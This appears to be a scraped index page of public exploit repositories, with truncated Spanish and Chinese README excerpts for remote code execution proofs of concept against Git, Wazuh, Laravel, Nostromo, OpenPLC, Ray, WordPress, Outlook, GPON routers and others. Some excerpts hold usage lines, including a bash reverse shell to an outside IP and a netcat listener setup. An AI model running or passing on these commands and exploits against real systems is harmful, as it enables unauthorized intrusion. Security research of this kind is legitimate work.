CVE-2024-32002-git-rce

CVE-2024-32002-git-rce...

cve-2025-55182-react2shell-analysis

CVE-2025-55182 — Análisis de la Vulnerabilidad React2Shell Resumen Este proyecto presenta un análisis técnico de CVE-2025-55182 React2Shell , una vulnerabilidad crítica de ejecución remota de código que afecta a React Server Components. El objetivo de esta investigación fue comprender la...

CVE-2022-30190_EXP_PowerPoint

CVE-2022-30190EXPPowerPoint Esto es un exploit de CVE-2022-30190 en PowerPoint. Modifica el sufijo del archivo a 'zip' y descomprime el archivo; puedes editar \ppt\slides\rels\slide1.xml.rels y reemplazarlo con la ip:puerto de tu vps de la siguiente manera, luego comprímelos de la misma forma y...

CVE-2025-24016

Ejecución Remota de Código RCE en Wazuh - PoC Resumen de la Vulnerabilidad Este repositorio demuestra la vulnerabilidad de ejecución remota de código RCE en el servidor Wazuh, introducida por una deserialización insegura en el paquete wazuh-manager. La vulnerabilidad permite que atacantes remotos...

CVE-2021-21110

CVE-2021-21110 CVE-2021-21110 : Tiki Wiki CMS GroupWare Serverside Template Injection Remote Code Execution Exploit...

OHTS

OHTS CVE-2017-8759 | Vulnerabilidad de ejecución remota de código en .NET Framework 1. Introducción Existe una vulnerabilidad de ejecución remota de código cuando Microsoft .NET Framework procesa entradas no confiables. Un atacante que explotara con éxito esta vulnerabilidad en software que utili...

Laravel-8.4.2-rce-CVE-2021-3129

Laravel-8.4.2-rce-CVE-2021-3129 root@kitploit: exploit.py tested use python3,and only working with phpggc . first docker-compose up port on 8888 at 127.0.0.1 generate key first...

EvilSunCheck

Comprobador de Vulnerabilidades EvilSun CVE-2020-14871 Este es un pequeño script en Python para detectar la vulnerabilidad "EvilSun" CVE-2020-14871 en sistemas Solaris. La vulnerabilidad es un desbordamiento de búfer en el Módulo de Autenticación Enchufable PAM pamunixauth al manejar la...

CVE-2020-11108-PoC

CVE-2020-11108-PoC En este repositorio hay dos PoCs. cve-2020-11108-rce.py te dará una shell como el usuario www-data. root-cve-2020-11108-rce.py te dará una shell y escalará privilegios a root. Nota: Esto es destructivo, ya que debemos sobrescribir teleporter.php. Para una explicación...

CVE-2019-18370_XiaoMi_Mi_WIFI_RCE_analysis

此存储库没有 README。...

CVE-2021-32305-websvn-2.6.0

CVE-2021-3205-websvn-2.6.0 Este es un exploit de CVE-2021-3205, una vulnerabilidad web de inyección de comandos en la ruta search.php. Este exploit permite ejecutar comandos. Requisitos optparse, signal, requests Uso root@kitploit: ❯ python3 CVE-2021-3205.py --url http://10.0.2.168/websvn/...

CVE-2019-16278-Nostromo-1.9.6-RCE

CVE-2019-16278-Nostromo-1.9.6-RCE 这是针对 Nostromo 1.9.6 RCE 漏洞（CVE-2019-16278）的一个利用程序。该利用程序可在目标机器上实现远程代码执行。 需求 optparse socat sys 用法 你可以按如下方式使用该利用程序： root@kitploit: python3 CVE-2019-16278.py --ip=10.129.192.225 --port=80 --command="bash -c 'bash -i & /dev/tcp/10.10.16.42/443 0&1'" b'HTTP/1.1 200...

CVE-2021-31630

OpenPLC WebServer v3 - RCE Autenticado CVE-2021-31630 Este exploit está basado en el exploit de Exploit-DB hecho por Fellipe Oliveira. Primero, autenticarse Subir un archivo C malicioso Compilarlo Iniciar el PLC iniciar reverse shell Detener el PLC no es necesario ejecutarlo, la reverse shell ya ...

MOODLE-3.X-Remote-Code-Execution

MOODLE-3.X-远程代码执行 CVE-2018-1133 Moodle 已认证为教师身份下的远程代码执行漏洞。...

Log4j-_Vulnerability

La Web es vulnerable a CVE-2021-44228 Esta aplicación web es vulnerable a CVE-2021-44228, una falla de seguridad crítica en Apache Log4j 2 conocida como Log4Shell. Esta vulnerabilidad permite a atacantes no autenticados ejecutar código malicioso de forma remota simplemente enviando una entrada...

CVE-2023-6019

Ray OS 命令注入 RCE（未授权） 使用方法： 1. nc -lvnp 4444 2. python3 cve-2023-6019.py -t 192.168.1.13 -p 80 -L 192.168.1.14 -P 80...

CVE-2022-21661

🛡️ CVE-2022-21661 Un exploit Proof-of-Concept PoC basado en Python para CVE-2022-21661, que es una vulnerabilidad crítica en WordPress que permite a un atacante no autorizado realizar un ataque de inyección de objetos , que bajo ciertas condiciones puede provocar Remote Code Execution RCE. Esta...

https-github.com-xaitax-CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability

CVE-2024-21413 | Microsoft Outlook 远程代码执行漏洞 PoC 📜 描述 该脚本提供了 CVE-2024-21413 的概念验证（PoC），这是 Microsoft Outlook 中发现的一个严重安全漏洞，CVSS 评分为 9.8。该漏洞被称为 MonikerLink 漏洞，影响深远，包括潜在的本地 NTLM 信息泄露和远程代码执行的可能性。此外，它突显了一种可能绕过 Office 受保护视图的攻击向量，从而将威胁扩展到其他 Office 应用程序。 🚀 用法 请负责任地使用此工具，并确保您已获得目标系统所有者的授权。该脚本需要 SMTP...

CVE-2018-4121

CVE-2018-4121 - Exploit de RCE POC de Secciones Wasm de Safari por MWR Labs c 2018 Detalles este exploit de prueba de concepto apunta únicamente a Safari 11.0.3 13604.5.6 en macOS 10.13.3 17D47. compile el payload de su elección como un dylib con un constructor ejecute python filetojsarray.py...

GPON

RCE en routers domésticos GPON CVE-2018-10561 Vulnerabilidad Muchos routers hoy en día utilizan Internet GPON, y VPNMentor encontró una forma de evadir toda la autenticación en los dispositivos CVE-2018-10561. Con esta evasión de autenticación, también es posible descubrir otra vulnerabilidad de...